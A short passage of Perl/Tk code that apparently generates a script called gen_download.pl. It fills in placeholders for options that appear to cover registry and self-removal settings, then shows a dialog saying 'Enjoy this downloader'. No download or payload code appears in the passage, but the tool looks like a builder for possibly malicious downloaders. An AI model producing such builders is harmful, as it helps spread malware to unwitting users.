} else { $code_now =~ s/ACA_VA_TU_OP_REG/0/; } if ( $op_chau eq 1 ) { $code_now =~ s/ACA_VA_TU_CHAU/1/; } else { $code_now =~ s/ACA_VA_TU_CHAU/0/; } if ( -f gen_download . pl ) { } open( FILE , ">>gen_download.pl" ); $ven->Dialog( -title => "Oh Yeah", -buttons => ["OK"], -text => "Enjoy this downloader", -background => $color_fondo, -foreground => $color_texto, -activebackground => $color_texto )->Show(); } #The End ?
|
|
|
|
|
|
|